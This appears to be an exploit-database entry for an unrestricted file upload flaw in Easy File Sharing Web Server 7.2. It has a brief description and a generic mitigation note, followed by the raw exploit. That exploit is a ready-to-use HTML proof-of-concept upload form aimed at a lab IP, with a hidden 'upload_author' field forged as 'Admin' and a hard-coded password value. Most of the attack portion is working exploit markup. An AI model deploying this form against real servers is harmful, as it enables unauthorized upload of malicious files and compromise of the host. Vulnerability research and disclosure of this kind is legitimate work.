EFS Web Server 7.2 Unrestricted File Upload

vendor:

Easy File Sharing Web Server

by:

Chako

8,8

CVSS

HIGH

Unrestricted File Upload

434

CWE

Product Name: Easy File Sharing Web Server

Affected Version From: 7.2

Affected Version To: 7.2

Patch Exists: NO

Related CWE: N/A

CPE: a:sharing-file:easy_file_sharing_web_server:7.2

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: WinXP SP3

2017

EFS Web Server 7.2 Unrestricted File Upload

EFS Web Server 7.2 allows unauthorized users to upload malicious files by exploiting a vulnerability in the upload form. The form can be found at http://target_host/disk_c/vfolders. The form contains a hidden input field with the name “upload_author” and value “Admin”. By changing the value of this field, an attacker can upload malicious files to the server.

Mitigation:

Ensure that the application is configured to only allow authorized users to upload files. Additionally, ensure that the application is configured to only allow the upload of files with specific extensions.

Source

Exploit-DB raw data:

##################################
#   2017/6/15  Chako
#  
#   EFS Web Server 7.2 Unrestricted File Upload
#   Vendor Homepage: http://www.sharing-file.com
#   Software Link: https://www.exploit-db.com/apps/60f3ff1f3cd34dec80fba130ea481f31-efssetup.exe
#   Version: Easy File Sharing Web Server 7.2
#   Tested on: WinXP SP3
##################################




EFS Web Server 7.2 allows unauthorized users to upload malicious files





[Exploit]

// action="http://target_host/disk_c/vfolders
// </script><input size="20" name="upload_author" value="Admin" type="hidden"> 
// have to know the user name by Default "Admin"



<form action="http://192.168.136.129/disk_c/vfolders" name="post" onsubmit="return input(this)" enctype="multipart/form-data" method="post">
<input name="uploadid" id="uploadid" value="34533689" type="hidden">
          <center>
            <a name="reply"></a> 
            <table class="forumline" cellpadding="6" width="479">
              <tbody><tr bgcolor="#8080A6"> 
                <td bgcolor="#eff2f8" height="319"> 
                  <center>

<script language="JavaScript">
<!--
document.write('<input type="hidden" size="20" name="upload_author" Value="'+ReadCookie("UserID")+'">');
// -->
</script><input size="20" name="upload_author" value="Admin" type="hidden"> 
<script language="JavaScript">
<!--
document.write('<input type="hidden" size="20" name="upload_passwd" Value="'+ReadCookie("PassWD")+'">');
// --></script><input size="20" name="upload_passwd" value="829700" type="hidden"> 

                    <table cellpadding="0" border="0" width="437">
                      <tbody><tr> 
                        <td colspan="2" height="63"> <span class="bgen">Description:</span> <br> 
                          <input name="upload_title" id="upload_title" size="50" value="dd" type="text">
                          </td>
                      </tr>
                      <tr> 
                        <td colspan="2"><span class="bgen">File:</span> <br>
                          <input name="UploadedFile" id="UploadedFile" size="50" type="file">
                          <br> </td>
                      </tr>
                      <tr>
</tr>
<tr>
 
                        <td colspan="2" height="40"><font size="2" face="Arial, Helvetica, sans-serif" color="#FFFFFF"> 
                          <input name="Upload" class="button" value="Upload" type="submit">
                          </font> 

                      </td>
                      </tr>
                    </tbody></table>
                  </center></td>
              </tr>
            </tbody></table>
            
          </center>
        </form> 
		[/Exploit]